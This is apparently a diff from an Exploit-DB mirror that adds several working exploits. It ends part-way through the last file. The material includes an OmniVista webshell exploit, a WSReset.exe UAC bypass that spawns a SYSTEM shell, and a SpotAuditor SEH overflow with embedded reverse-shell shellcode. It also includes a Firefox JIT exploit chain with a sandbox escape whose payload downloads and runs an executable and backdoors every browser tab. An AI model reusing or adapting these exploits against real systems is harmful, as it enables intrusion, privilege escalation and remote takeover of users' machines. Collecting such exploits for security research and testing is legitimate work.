||||
output = self.exec8770("whoami")
|
||||
print('[*] Webshell at {}{}{}'.format(self.host, "themes/Theme2/", self.filename))
|
||||
print('[*] Command output: '.format(output))
|
||||
else:
|
||||
print("[x] Directory license not installed :/")
|
||||
return False
|
||||
else:
|
||||
print("[x] LDAP Service is not directly accessible")
|
||||
return False
|
||||
|
||||
else:
|
||||
print("[x] Target is not an OmniVista 4760/8770")
|
||||
return False
|
||||
|
||||
if len(sys.argv) != 2:
|
||||
print("Usage: ./omnivista.py http(s)://target.tld:port/")
|
||||
else:
|
||||
exploit = OmniVista(sys.argv[1])
|
||||
exploit.autoexploit()
|
||||
4
exploits/windows/local/47753.md
Normal file
4
exploits/windows/local/47753.md
Normal file
|
|
@ -0,0 +1,4 @@
|
|||
Windows 10 UAC bypass for all executable files which are autoelevate true.
|
||||
https://heynowyouseeme.blogspot.com/2019/08/windows-10-lpe-uac-bypass-in-windows.html
|
||||
|
||||
Download ~ https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47753.zip
|
||||
63
exploits/windows/local/47754.py
Executable file
63
exploits/windows/local/47754.py
Executable file
|
|
@ -0,0 +1,63 @@
|
|||
#### Fileless UAC bypass (WSReset.exe)
|
||||
#### @404death
|
||||
#### base on : https://www.activecyber.us/activelabs/windows-uac-bypass
|
||||
#
|
||||
## EDB Note: Download ~ https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47754.zip
|
||||
#
|
||||
import sys, os
|
||||
from ctypes import *
|
||||
import _winreg
|
||||
CMD = r"C:\Windows\System32\cmd.exe"
|
||||
WS_RESET = r'C:\Windows\System32\wsreset.exe'
|
||||
#PYTHON_CMD = "python"
|
||||
test_cmd = " -i -s cmd.exe"
|
||||
SYSTEM_SHELL = "psexec.exe" # to get nt\system
|
||||
REG_PATH = 'Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\open\command'
|
||||
DELEGATE_EXEC_REG_KEY = 'DelegateExecute'
|
||||
def is_running_as_admin():
|
||||
'''
|
||||
Checks if the script is running with administrative privileges.
|
||||
Returns True if is running as admin, False otherwise.
|
||||
'''
|
||||
try:
|
||||
return ctypes.windll.shell32.IsUserAnAdmin()
|
||||
except:
|
||||
return False
|
||||
def create_reg_key(key, value):
|
||||
'''
|
||||
Creates a reg key
|
||||
'''
|
||||
try:
|
||||
_winreg.CreateKey(_winreg.HKEY_CURRENT_USER, REG_PATH)
|
||||
registry_key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, REG_PATH, 0, _winreg.KEY_WRITE)
|
||||
_winreg.SetValueEx(registry_key, key, 0, _winreg.REG_SZ, value)
|
||||
_winreg.CloseKey(registry_key)
|
||||
except WindowsError:
|
||||
raise
|
||||
def bypass_uac(cmd):
|
||||
'''
|
||||
Tries to bypass the UAC
|
||||
'''
|
||||
try:
|
||||
create_reg_key(DELEGATE_EXEC_REG_KEY, '')
|
||||
create_reg_key(None, cmd)
|
||||
except WindowsError:
|
||||
raise
|
||||
def execute():
|
||||
if not is_running_as_admin():
|
||||
print '[!] Fileless UAC Bypass via Windows Store by @404death '
|
||||
print '[+] Trying to bypass the UAC'
|
||||
print '[+] Waiting to get SYSTEM shell !!!'
|
||||
try:
|
||||
current_dir = os.path.dirname(os.path.realpath(__file__)) + '\\' + SYSTEM_SHELL
|
||||
cmd = '{} /c {} {}'.format(CMD, current_dir, test_cmd)
|
||||
bypass_uac(cmd)
|
||||
os.system(WS_RESET)
|
||||
print '[+] Pwnedd !!! you g0t system shell !!!'
|
||||
sys.exit(0)
|
||||
except WindowsError:
|
||||
sys.exit(1)
|
||||
else:
|
||||
print '[+] xailay !!!'
|
||||
if __name__ == '__main__':
|
||||
execute()
|
||||
24
exploits/windows/local/47755.c
Normal file
24
exploits/windows/local/47755.c
Normal file
File diff suppressed because one or more lines are too long
69
exploits/windows/local/47759.py
Executable file
69
exploits/windows/local/47759.py
Executable file
|
|
@ -0,0 +1,69 @@
|
|||
# Exploit Title: SpotAuditor 5.3.2 - 'Base64' Local Buffer Overflow (SEH)
|
||||
# Exploit Author: Kirill Nikolaev
|
||||
# Date: 2019-12-06
|
||||
# Vulnerable Software: SpotAuditor
|
||||
# Vendor Homepage: http://www.nsauditor.com/
|
||||
# Version: 5.3.2
|
||||
# Software Link: http://spotauditor.nsauditor.com/downloads/spotauditor_setup.exe
|
||||
# Tested Windows 7 SP1 x86
|
||||
|
||||
# PoC
|
||||
# 1. Download and install SpotAuditor
|
||||
# 2. Change shellcode in python script to yours
|
||||
# 3. Generate payload with python script
|
||||
# 4. Run the software "Tools -> Base64 Encrypted Password
|
||||
# 5. Take a shell
|
||||
# Original DOS exploit https://www.exploit-db.com/exploits/47719
|
||||
|
||||
#!/usr/bin/env python
|
||||
|
||||
import base64
|
||||
print ("[+] Thank you for choosing our company")
|
||||
print ("[+] Local Buffer Overflow (SEH) in SpotAuditor 5.3.2")
|
||||
print ("[+] Created By Kirill Nikolaev")
|
||||
print ("[+] Generate payload,check, that you take your shellcode")
|
||||
print ("")
|
||||
head='A'*1024
|
||||
#eb0c-jmp across a few bytes with seh address
|
||||
jmp_across='\x41\x41\xeb\x0c'
|
||||
#0x61e0b194 : pop ebx # pop ebp # ret | {PAGE_EXECUTE_READ} [sqlite3.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v3.15.2 (C:\Program Files\Nsasoft\SpotAuditor\sqlite3.dll)
|
||||
seh='\x94\xb1\xe0\x61'
|
||||
header_for_shellcode='\x41'*10
|
||||
#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.58.1 LPORT=4444 -f py EXITFUNC=thread -b '\x00'
|
||||
buf = ""
|
||||
buf += b"\xbd\x7a\xfe\x84\xdd\xdb\xc9\xd9\x74\x24\xf4\x58\x31"
|
||||
buf += b"\xc9\xb1\x52\x83\xe8\xfc\x31\x68\x0e\x03\x12\xf0\x66"
|
||||
buf += b"\x28\x1e\xe4\xe5\xd3\xde\xf5\x89\x5a\x3b\xc4\x89\x39"
|
||||
buf += b"\x48\x77\x3a\x49\x1c\x74\xb1\x1f\xb4\x0f\xb7\xb7\xbb"
|
||||
buf += b"\xb8\x72\xee\xf2\x39\x2e\xd2\x95\xb9\x2d\x07\x75\x83"
|
||||
buf += b"\xfd\x5a\x74\xc4\xe0\x97\x24\x9d\x6f\x05\xd8\xaa\x3a"
|
||||
buf += b"\x96\x53\xe0\xab\x9e\x80\xb1\xca\x8f\x17\xc9\x94\x0f"
|
||||
buf += b"\x96\x1e\xad\x19\x80\x43\x88\xd0\x3b\xb7\x66\xe3\xed"
|
||||
buf += b"\x89\x87\x48\xd0\x25\x7a\x90\x15\x81\x65\xe7\x6f\xf1"
|
||||
buf += b"\x18\xf0\xb4\x8b\xc6\x75\x2e\x2b\x8c\x2e\x8a\xcd\x41"
|
||||
buf += b"\xa8\x59\xc1\x2e\xbe\x05\xc6\xb1\x13\x3e\xf2\x3a\x92"
|
||||
buf += b"\x90\x72\x78\xb1\x34\xde\xda\xd8\x6d\xba\x8d\xe5\x6d"
|
||||
buf += b"\x65\x71\x40\xe6\x88\x66\xf9\xa5\xc4\x4b\x30\x55\x15"
|
||||
buf += b"\xc4\x43\x26\x27\x4b\xf8\xa0\x0b\x04\x26\x37\x6b\x3f"
|
||||
buf += b"\x9e\xa7\x92\xc0\xdf\xee\x50\x94\x8f\x98\x71\x95\x5b"
|
||||
buf += b"\x58\x7d\x40\xcb\x08\xd1\x3b\xac\xf8\x91\xeb\x44\x12"
|
||||
buf += b"\x1e\xd3\x75\x1d\xf4\x7c\x1f\xe4\x9f\x42\x48\xdc\x5e"
|
||||
buf += b"\x2b\x8b\x20\x70\xf7\x02\xc6\x18\x17\x43\x51\xb5\x8e"
|
||||
buf += b"\xce\x29\x24\x4e\xc5\x54\x66\xc4\xea\xa9\x29\x2d\x86"
|
||||
buf += b"\xb9\xde\xdd\xdd\xe3\x49\xe1\xcb\x8b\x16\x70\x90\x4b"
|
||||
buf += b"\x50\x69\x0f\x1c\x35\x5f\x46\xc8\xab\xc6\xf0\xee\x31"
|
||||
buf += b"\x9e\x3b\xaa\xed\x63\xc5\x33\x63\xdf\xe1\x23\xbd\xe0"
|
||||
buf += b"\xad\x17\x11\xb7\x7b\xc1\xd7\x61\xca\xbb\x81\xde\x84"
|
||||
buf += b"\x2b\x57\x2d\x17\x2d\x58\x78\xe1\xd1\xe9\xd5\xb4\xee"
|
||||
buf += b"\xc6\xb1\x30\x97\x3a\x22\xbe\x42\xff\x42\x5d\x46\x0a"
|
||||
buf += b"\xeb\xf8\x03\xb7\x76\xfb\xfe\xf4\x8e\x78\x0a\x85\x74"
|
||||
buf += b"\x60\x7f\x80\x31\x26\x6c\xf8\x2a\xc3\x92\xaf\x4b\xc6"
|
||||
tail='B'*(5000-1028-4-10-len(buf))
|
||||
shellcode=head+jmp_across+seh+header_for_shellcode+buf
|
||||
print (base64.b64encode(shellcode))
|
||||
|
||||
|
||||
--
|
||||
Best regards,
|
||||
Kirill Nikolaev
|
||||
Penetration Tester
|
||||
738
exploits/windows_x86-64/local/47752.js
Normal file
738
exploits/windows_x86-64/local/47752.js
Normal file
|
|
@ -0,0 +1,738 @@
|
|||
// Axel '0vercl0k' Souchet - November 19 2019
|
||||
|
||||
// EDB Note: Download ~ https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47752.zip
|
||||
|
||||
// 0:000> ? xul!sAutomationPrefIsSet - xul
|
||||
// Evaluate expression: 85724947 = 00000000`051c0f13
|
||||
const XulsAutomationPrefIsSet = 0x051c0f13n;
|
||||
// 0:000> ? xul!disabledForTest - xul
|
||||
// Evaluate expression: 85400792 = 00000000`05171cd8
|
||||
const XuldisabledForTest = 0x05171cd8n;
|
||||
|
||||
const Debug = false;
|
||||
const dbg = p => {
|
||||
if(Debug == false) {
|
||||
return;
|
||||
}
|
||||
|
||||
print(`Debug: ${p}`);
|
||||
};
|
||||
|
||||
const ArraySize = 0x5;
|
||||
const WantedArraySize = 0x42424242;
|
||||
|
||||
let arr = null;
|
||||
let Trigger = false;
|
||||
const Spray = [];
|
||||
|
||||
function f(Special, Idx, Value) {
|
||||
arr[Idx] = 0x41414141;
|
||||
Special.slice();
|
||||
arr[Idx] = Value;
|
||||
}
|
||||
|
||||
class SoSpecial extends Array {
|
||||
static get [Symbol.species]() {
|
||||
return function() {
|
||||
if(!Trigger) {
|
||||
return;
|
||||
}
|
||||
|
||||
arr.length = 0;
|
||||
for(let i = 0; i < 0x40000; i++) {
|
||||
Spray.push(new Uint32Array(ArraySize));
|
||||
}
|
||||
};
|
||||
}
|
||||
};
|
||||
|
||||
function GetMeBiggie() {
|
||||
for(let Idx = 0; Idx < 0x100000; Idx++) {
|
||||
Spray.push(new Uint32Array(ArraySize));
|
||||
}
|
||||
|
||||
const SpecialSnowFlake = new SoSpecial();
|
||||
for(let Idx = 0; Idx < 10; Idx++) {
|
||||
arr = new Array(0x7e);
|
||||
Trigger = false;
|
||||
for(let Idx = 0; Idx < 0x400; Idx++) {
|
||||
f(SpecialSnowFlake, 0x70, Idx);
|
||||
}
|
||||
|
||||
Trigger = true;
|
||||
f(SpecialSnowFlake, 47, WantedArraySize);
|
||||
if(arr.length != 0) {
|
||||
continue;
|
||||
}
|
||||
|
||||
const Biggie = Spray.find(e => e.length != ArraySize);
|
||||
if(Biggie != null) {
|
||||
return Biggie;
|
||||
}
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
function ExploitCVE_2019_9810() {
|
||||
print = console.log;
|
||||
|
||||
const Biggie = GetMeBiggie();
|
||||
if(Biggie == null || Biggie.length != WantedArraySize) {
|
||||
dbg('Failed to set things up :(.');
|
||||
return false;
|
||||
}
|
||||
|
||||
//
|
||||
// Scan for one of the Uint32Array we sprayed earlier.
|
||||
//
|
||||
|
||||
let Biggie2AdjacentSize = null;
|
||||
const JSValueArraySize = 0xfffa000000000000n | BigInt(ArraySize);
|
||||
for(let Idx = 0; Idx < 0x100; Idx++) {
|
||||
const Qword = BigInt(Biggie[Idx]) << 32n | BigInt(Biggie[Idx + 1]);
|
||||
if(Qword == JSValueArraySize) {
|
||||
Biggie2AdjacentSize = Idx + 1;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if(Biggie2AdjacentSize == null) {
|
||||
dbg('Failed to find an adjacent array :(.');
|
||||
return false;
|
||||
}
|
||||
|
||||
//
|
||||
// Use the array length as a marker.
|
||||
//
|
||||
|
||||
const AdjacentArraySize = 0xbbccdd;
|
||||
Biggie[Biggie2AdjacentSize] = AdjacentArraySize;
|
||||
|
||||
//
|
||||
// Find the array now..
|
||||
//
|
||||
|
||||
const AdjacentArray = Spray.find(
|
||||
e => e.length == AdjacentArraySize
|
||||
);
|
||||
|
||||
if(AdjacentArray == null) {
|
||||
dbg('Failed to find the corrupted adjacent array :(.');
|
||||
return false;
|
||||
}
|
||||
|
||||
const ReadPtr = Addr => {
|
||||
const SizeInDwords = 2;
|
||||
const SavedSlot = [
|
||||
Biggie[Biggie2AdjacentSize],
|
||||
Biggie[Biggie2AdjacentSize + 2 + 2],
|
||||
Biggie[Biggie2AdjacentSize + 2 + 2 + 1]
|
||||
];
|
||||
|
||||
//
|
||||
// Corrupt the `AdjacentArray`'s size / data slot.
|
||||
//
|
||||
|
||||
Biggie[Biggie2AdjacentSize] = SizeInDwords;
|
||||
Biggie[Biggie2AdjacentSize + 2 + 2] = Number(Addr & 0xffffffffn);
|
||||
Biggie[Biggie2AdjacentSize + 2 + 2 + 1] = Number(Addr >> 32n);
|
||||
|
||||
//
|
||||
// Read arbitrary location now.
|
||||
//
|
||||
|
||||
const Ptr = BigInt.fromUint32s([AdjacentArray[0], AdjacentArray[1]]);
|
||||
|
||||
//
|
||||
// Restore the `AdjacentArray`'s size / data slot.
|
||||
//
|
||||
|
||||
Biggie[Biggie2AdjacentSize] = SavedSlot[0];
|
||||
Biggie[Biggie2AdjacentSize + 2 + 2] = SavedSlot[1];
|
||||
Biggie[Biggie2AdjacentSize + 2 + 2 + 1] = SavedSlot[2];
|
||||
return Ptr;
|
||||
};
|
||||
|
||||
const WritePtr = (Addr, Value) => {
|
||||
const SizeInDwords = 2;
|
||||
const SavedSlot = [
|
||||
Biggie[Biggie2AdjacentSize],
|
||||
Biggie[Biggie2AdjacentSize + 2 + 2],
|
||||
Biggie[Biggie2AdjacentSize + 2 + 2 + 1]
|
||||
];
|
||||
|
||||
//
|
||||
// Corrupt the `AdjacentArray`'s size / data slot.
|
||||
//
|
||||
|
||||
Biggie[Biggie2AdjacentSize] = SizeInDwords;
|
||||
Biggie[Biggie2AdjacentSize + 2 + 2] = Number(Addr & 0xffffffffn);
|
||||
Biggie[Biggie2AdjacentSize + 2 + 2 + 1] = Number(Addr >> 32n);
|
||||
|
||||
//
|
||||
// Write to arbitrary location now.
|
||||
//
|
||||
|
||||
AdjacentArray[0] = Number(Value & 0xffffffffn);
|
||||
AdjacentArray[1] = Number(Value >> 32n);
|
||||
|
||||
//
|
||||
// Restore the `AdjacentArray`'s size / data slot.
|
||||
//
|
||||
|
||||
Biggie[Biggie2AdjacentSize] = SavedSlot[0];
|
||||
Biggie[Biggie2AdjacentSize + 2 + 2] = SavedSlot[1];
|
||||
Biggie[Biggie2AdjacentSize + 2 + 2 + 1] = SavedSlot[2];
|
||||
return true;
|
||||
};
|
||||
|
||||
const AddrOf = Obj => {
|
||||
AdjacentArray.hell_on_earth = Obj;
|
||||
// 0:000> dqs 1ae5716e76a0
|
||||
// 00001ae5`716e76a0 00001ae5`7167dfd0
|
||||
// 00001ae5`716e76a8 000010c5`8e73c6a0
|
||||
// 00001ae5`716e76b0 00000238`9334e790
|
||||
// 00001ae5`716e76b8 00007ff6`6be55010 js!emptyElementsHeader+0x10
|
||||
// 00001ae5`716e76c0 fffa0000`00000000
|
||||
// 00001ae5`716e76c8 fff88000`00bbccdd
|
||||
// 0:000> !telescope 0x00002389334e790
|
||||
// 0x000002389334e790|+0x0000: 0xfffe1ae5716e7640 (Unknown)
|
||||
const SlotOffset = Biggie2AdjacentSize - (3 * 2);
|
||||
const SlotsAddress = BigInt.fromUint32s(
|
||||
Biggie.slice(SlotOffset, SlotOffset + 2)
|
||||
);
|
||||
|
||||
return BigInt.fromJSValue(ReadPtr(SlotsAddress));
|
||||
};
|
||||
|
||||
//
|
||||
// Let's move the battle field to the TenuredHeap
|
||||
//
|
||||
|
||||
const ArrayBufferLength = 10;
|
||||
const AB1 = new ArrayBuffer(ArrayBufferLength);
|
||||
const AB2 = new ArrayBuffer(ArrayBufferLength);
|
||||
const AB1Address = AddrOf(AB1);
|
||||
const AB2Address = AddrOf(AB2);
|
||||
|
||||
dbg(`AddrOf(AB1): ${AB1Address.toString(16)}`);
|
||||
dbg(`AddrOf(AB2): ${AB2Address.toString(16)}`);
|
||||
WritePtr(AB1Address + 0x28n, 0xfff8800000010000n);
|
||||
WritePtr(AB2Address + 0x28n, 0xfff8800000010000n);
|
||||
|
||||
if(AB1.byteLength != AB2.byteLength && AB1.byteLength != 0x10000) {
|
||||
dbg('Corrupting the ArrayBuffers failed :(.');
|
||||
return false;
|
||||
}
|
||||
|
||||
const Primitives = BuildPrimitives(AB1, AB2);
|
||||
Math.atan2(AB2);
|
||||
|
||||
//
|
||||
// All right, time to clean up behind ourselves.
|
||||
// Let's fix AdjacentArray's size first (as we are using Biggie to do it).
|
||||
//
|
||||
|
||||
Biggie[Biggie2AdjacentSize] = ArraySize;
|
||||
|
||||
//
|
||||
// Let's fix Biggie's length as we are done with it.
|
||||
// 0:000> !smdump_jsvalue 0xfffe11e6fa2f7580
|
||||
// Detected xul.dll, using it as js module.
|
||||
// 11e6fa2f7580: js!js::TypedArrayObject: Type: Uint32Array
|
||||
// 11e6fa2f7580: js!js::TypedArrayObject: Length: 1337
|
||||
// 11e6fa2f7580: js!js::TypedArrayObject: ByteLength: 5348
|
||||
// 11e6fa2f7580: js!js::TypedArrayObject: ByteOffset: 0
|
||||
// 11e6fa2f7580: js!js::TypedArrayObject: Content: Uint32Array({Length:1337, ...})
|
||||
// @$smdump_jsvalue(0xfffe11e6fa2f7580)
|
||||
//
|
||||
// 0:000> !telescope 0x11e6fa2f7580
|
||||
// 0x000011e6fa2f7580|+0x0000: 0x000006a0415c37f0 (Unknown) -> 0x00007ff93e106830 (xul.dll (.rdata)) -> 0x00007ff93e2f66ce (xul.dll (.rdata)) -> 0x00007ff93e2f66ce (Ascii(Uint32Array))
|
||||
// 0x000011e6fa2f7588|+0x0008: 0x000006a041564100 (Unknown) -> 0x000006a041583cc0 (Unknown) -> 0x00007ff93e106830 (xul.dll (.rdata)) -> 0x00007ff93e2f66ce (xul.dll (.rdata)) -> 0x00007ff93e2f66ce (Ascii(Uint32Array))
|
||||
// 0x000011e6fa2f7590|+0x0010: 0x0000000000000000 (Unknown)
|
||||
// 0x000011e6fa2f7598|+0x0018: 0x00007ff93e0f41d8 (xul.dll (.rdata)) -> 0xfff9800000000000 (Unknown)
|
||||
// 0x000011e6fa2f75a0|+0x0020: 0xfffe11e6fa2f70c0 (Unknown)
|
||||
// 0x000011e6fa2f75a8|+0x0028: 0xfff8800000000539 (Unknown)
|
||||
//
|
||||
|
||||
const BiggieLengthAddress = Primitives.AddrOf(Biggie) + 0x28n;
|
||||
Primitives.WritePtr(BiggieLengthAddress, 0xfff8800000000000n | BigInt(ArraySize));
|
||||
|
||||
//
|
||||
// From there, we're kinda done - let's get god mode and fuck off.
|
||||
//
|
||||
|
||||
GodMode(AB1, AB2, Primitives, XulsAutomationPrefIsSet, XuldisabledForTest);
|
||||
return true;
|
||||
}
|
||||
|
||||
//
|
||||
// This function uses a `Sandbox` with a `System Principal` to be able to grab the
|
||||
// `docShell` object off the `window` object. Once it has it, it can grab the frame
|
||||
// `messageManager` that we need to trigger the sandbox escape.
|
||||
//
|
||||
|
||||
function GetContentFrameMessageManager(Win) {
|
||||
function _GetDocShellFromWindow(Win) {
|
||||
return Win.docShell;
|
||||
}
|
||||
|
||||
const { Services } = Components.utils.import('resource://gre/modules/Services.jsm');
|
||||
const Cu = Components.utils;
|
||||
const Sbx = Cu.Sandbox(Services.scriptSecurityManager.getSystemPrincipal());
|
||||
const Code = _GetDocShellFromWindow.toSource();
|
||||
Cu.evalInSandbox(Code, Sbx);
|
||||
const DocShell = Sbx._GetDocShellFromWindow(Win);
|
||||
Cu.nukeSandbox(Sbx);
|
||||
return DocShell.messageManager;
|
||||
}
|
||||
|
||||
//
|
||||
// This function sends a 'Prompt:Open' message over the frame message manager IPC,
|
||||
// with an URI.
|
||||
//
|
||||
|
||||
function PromptOpen(Uri) {
|
||||
const FrameMM = GetContentFrameMessageManager(window);
|
||||
const Result = FrameMM.sendSyncMessage('Prompt:Open', { uri: Uri });
|
||||
return Result;
|
||||
}
|
||||
|
||||
//
|
||||
// This is the function that abuses the `Prompt:Open` message to re-exploit the parent
|
||||
// process and escape the sandbox.
|
||||
//
|
||||
|
||||
function TriggerCVE_2019_11708() {
|
||||
PromptOpen(`${location.origin}?stage3`);
|
||||
}
|
||||
|
||||
//
|
||||
// This is the function that gets written into the frame script the exploit drops
|
||||
// on disk. A trick to debug this code is to pop-up a `Browser Toolbox` as well as a
|
||||
// `Browser Content toolbox` and execute the following in the `Browser Toolbox`:
|
||||
// Services.mm.loadFrameScript('file://frame-script.js', true)
|
||||
// This should break in the `Browser Content Toolbox` debugger window.
|
||||
//
|
||||
|
||||
function FrameScriptPayload() {
|
||||
function PimpMyDocument() {
|
||||
|
||||
//
|
||||
// Don't infect doar-e and leave Cthulhu alone...
|
||||
//
|
||||
|
||||
if(content.document.location.origin == 'https://doar-e.github.io' ||
|
||||
content.document.location.origin == 'http://localhost:8000') {
|
||||
return;
|
||||
}
|
||||
|
||||
//
|
||||
// .. as well as don't play with non http origins (I've seen empty/null origins).
|
||||
//
|
||||
|
||||
if(!content.document.location.origin.startsWith('http')) {
|
||||
return;
|
||||
}
|
||||
|
||||
//
|
||||
// Time to party! Let's find every `A` tag and make them point to doar-e.
|
||||
// We also use this opportunity to make every `backgroundImage` / `backgroundColor`
|
||||
// style attributes to `none` / `transparent` to not hide the doar-e background.
|
||||
//
|
||||
|
||||
for(const Node of content.document.getElementsByTagName('*')) {
|
||||
if(Node.tagName == 'A') {
|
||||
Node.href = 'https://doar-e.github.io/';
|
||||
continue;
|
||||
}
|
||||
|
||||
Node.style.backgroundImage = 'none';
|
||||
Node.style.backgroundColor = 'transparent';
|
||||
}
|
||||
|
||||
//
|
||||
// Change the background.
|
||||
//
|
||||
|
||||
content.document.body.style.backgroundImage = 'url(https://doar-e.github.io/images/themes03_light.gif)';
|
||||
}
|
||||
|
||||
//
|
||||
// First we set an event handler to make sure to be invoked when a new `content`
|
||||
// is created. Keep in mind that we basically have ~three cases to handle:
|
||||
// 1/ We are getting injected in an already existing tab,
|
||||
// 2/ We are getting injected in a new tab,
|
||||
// 3/ A user clicks on a link and a new `content` gets created.
|
||||
// We basically want to have control over those three events. The below ensures
|
||||
// we get a chance to execute code for 2/.
|
||||
//
|
||||
|
||||
addEventListener('DOMWindowCreated', FrameScriptPayload);
|
||||
dump(`Hello from: ${content.location.origin}\n`);
|
||||
|
||||
if(content.document != null && content.document.body != null) {
|
||||
|
||||
//
|
||||
// Either the tab already existed in which case we already have a document which we
|
||||
// can play with...
|
||||
//
|
||||
|
||||
PimpMyDocument();
|
||||
return;
|
||||
}
|
||||
|
||||
//
|
||||
// ..Or it doesn't exist quite yet and we want to get a callback when it does.
|
||||
//
|
||||
|
||||
content.addEventListener('load', PimpMyDocument);
|
||||
}
|
||||
|
||||
//
|
||||
// This function drops a file (open + write + close) using the OSFile JS module.
|
||||
//
|
||||
|
||||
function DropFile(Path, Content) {
|
||||
|
||||
//
|
||||
// We expect either a string or a TypedArray.
|
||||
//
|
||||
|
||||
const Encoder = new TextEncoder();
|
||||
const ContentBuffer = (typeof Content == 'string') ? Encoder.encode(Content) : Content;
|
||||
return OS.File.open(Path, {write: true, truncate: true})
|
||||
.then(File => {
|
||||
return Promise.all([
|
||||
// We return the File object in order to be able to use it in the
|
||||
// next `.then`. This allows us to chain the `write` and the `close`
|
||||
// without another level of deepness.
|
||||
File,
|
||||
File.write(ContentBuffer),
|
||||
]);
|
||||
})
|
||||
.then((Results) => {
|
||||
const [File, _WrittenBytes] = Results;
|
||||
return File.close();
|
||||
});
|
||||
}
|
||||
|
||||
//
|
||||
// This function drops / executes a payload binary, as well as inject a frame script
|
||||
// into every tabs.
|
||||
//
|
||||
|
||||
function Payload() {
|
||||
|
||||
//
|
||||
// Import a bunch of JS modules we will be using later.
|
||||
//
|
||||
|
||||
const { OS } = Components.utils.import('resource://gre/modules/osfile.jsm');
|
||||
const { Services } = Components.utils.import('resource://gre/modules/Services.jsm');
|
||||
|
||||
//
|
||||
// First order of business, we create a first promise that downloads the payload
|
||||
// (aka Slime Shady), drops it in the profile directory and finally executes it.
|
||||
//
|
||||
|
||||
const Dir = OS.Constants.Path.localProfileDir;
|
||||
const PayloadPath = OS.Path.join(Dir, 'slimeshady.exe');
|
||||
const PayloadPromise = fetch(`${location.origin}/payload/bin/payload.exe`)
|
||||
.then((Response) => {
|
||||
|
||||
//
|
||||
// We return the result as a TypedArray as this is what `DropFile`
|
||||
// expects for binary content.
|
||||
//
|
||||
|
||||
return Response.arrayBuffer();
|
||||
})
|
||||
.then((Content) => {
|
||||
|
||||
//
|
||||
// Time to drop the file now. Note that we return the promise so
|
||||
// the next `then` executes when the file has been successfully dropped.
|
||||
//
|
||||
|
||||
dbg(`Payload downloaded.`);
|
||||
return DropFile(PayloadPath, new Uint8Array(Content));
|
||||
})
|
||||
.then(() => {
|
||||
|
||||
//
|
||||
// At this point, we are ready to spawn the payload, let's do it!
|
||||
//
|
||||
|
||||
dbg(`Creating the process.. ${PayloadPath}`);
|
||||
CreateProcessA(PayloadPath);
|
||||
})
|
||||
.catch(Ex => {
|
||||
console.log(`Exception in payload promise: ${Ex}`);
|
||||
});
|
||||
|
||||
//
|
||||
// Second order of business is to backdoor the tabs. To do so, we drop a frame
|
||||
// script that we inject into every tabs.
|
||||
//
|
||||
|
||||
const FramePayloadContent = `${FrameScriptPayload.toSource()}
|
||||
|
||||
FrameScriptPayload();`;
|
||||
const ScriptPath = OS.Path.join(Dir, 'frame-script.js');
|
||||
const FramePayloadPromise = DropFile(ScriptPath, FramePayloadContent)
|
||||
.then(() => {
|
||||
|
||||
//
|
||||
// At this time we are ready to inject the frame script into the tabs.
|
||||
// Note that we need to drop the file locally / use the file:// scheme
|
||||
// so that the tabs accept to interpret the file (unfortunately,
|
||||
// remote ones are ignored).
|
||||
//
|
||||
|
||||
dbg(`About to loadFrameScript: ${ScriptPath}`);
|
||||
Services.mm.loadFrameScript(`file://${ScriptPath}`, true);
|
||||
})
|
||||
.catch(Ex => {
|
||||
console.log(`Exception in frame payload promise: ${Ex}`);
|
||||
});
|
||||
|
||||
|
||||
//
|
||||
// Last but not least, we set up code to execute on completion of both the above
|
||||
// promises. You have to remember that at this point the modal window is still open
|
||||
// and blocks navigation / UI interaction, so we need to close it as soon as we can
|
||||
// to be as stealth as possible.
|
||||
// Just for kicks, we spawn a calculator when we're done because why not.
|
||||
//
|
||||
|
||||
Promise.all([PayloadPromise, FramePayloadPromise])
|
||||
.then(() => {
|
||||
|
||||
//
|
||||
// .. just for kicks.
|
||||
//
|
||||
|
||||
CreateProcessA('c:\\windows\\system32\\calc.exe');
|
||||
|
||||
//
|
||||
// Phew, we made it here let's close the window :).
|
||||
//
|
||||
|
||||
window.close();
|
||||
})
|
||||
.catch(Ex => {
|
||||
console.log(`Exception in clean up promise: ${Ex}`);
|
||||
window.close();
|
||||
});
|
||||
}
|
||||
|
||||
//
|
||||
// This function patches the inlined portion of xpc::AreNonLocalConnectionsDisabled()
|
||||
// in xul!mozilla::net::nsSocketTransport::InitiateSocket to avoid an assert when we have
|
||||
// god mode. It's far from being the cleanest way, but this is the easiest way I found.
|
||||
//
|
||||
// nsresult nsSocketTransport::InitiateSocket() {
|
||||
// SOCKET_LOG(("nsSocketTransport::InitiateSocket [this=%p]\n", this));
|
||||
// nsresult rv;
|
||||
// bool isLocal;
|
||||
// IsLocal(&isLocal);
|
||||
// if (gIOService->IsNetTearingDown()) {
|
||||
// return NS_ERROR_ABORT;
|
||||
// }
|
||||
// if (gIOService->IsOffline()) {
|
||||
// if (!isLocal) return NS_ERROR_OFFLINE;
|
||||
// } else if (!isLocal) {
|
||||
// if (NS_SUCCEEDED(mCondition) && xpc::AreNonLocalConnectionsDisabled() &&
|
||||
// !(IsIPAddrAny(&mNetAddr) || IsIPAddrLocal(&mNetAddr))) {
|
||||
// nsAutoCString ipaddr;
|
||||
// RefPtr<nsNetAddr> netaddr = new nsNetAddr(&mNetAddr);
|
||||
// netaddr->GetAddress(ipaddr);
|
||||
// fprintf_stderr(
|
||||
// stderr,
|
||||
// "FATAL ERROR: Non-local network connections are disabled and a "
|
||||
// "connection "
|
||||
// "attempt to %s (%s) was made.\nYou should only access hostnames "
|
||||
// "available via the test networking proxy (if running mochitests) "
|
||||
// "or from a test-specific httpd.js server (if running xpcshell "
|
||||
// "tests). "
|
||||
// "Browser services should be disabled or redirected to a local "
|
||||
// "server.\n",
|
||||
// mHost.get(), ipaddr.get());
|
||||
// MOZ_CRASH("Attempting to connect to non-local address!");
|
||||
// }
|
||||
// }
|
||||
//
|
||||
|
||||
function PatchInitiateSocket() {
|
||||
|
||||
//
|
||||
// Let's patch xul!mozilla::net::nsSocketTransport::InitiateSocket
|
||||
// so that it doesn't assert on us because we turned on testing features.
|
||||
// This is the assert we hit without the patch:
|
||||
//
|
||||
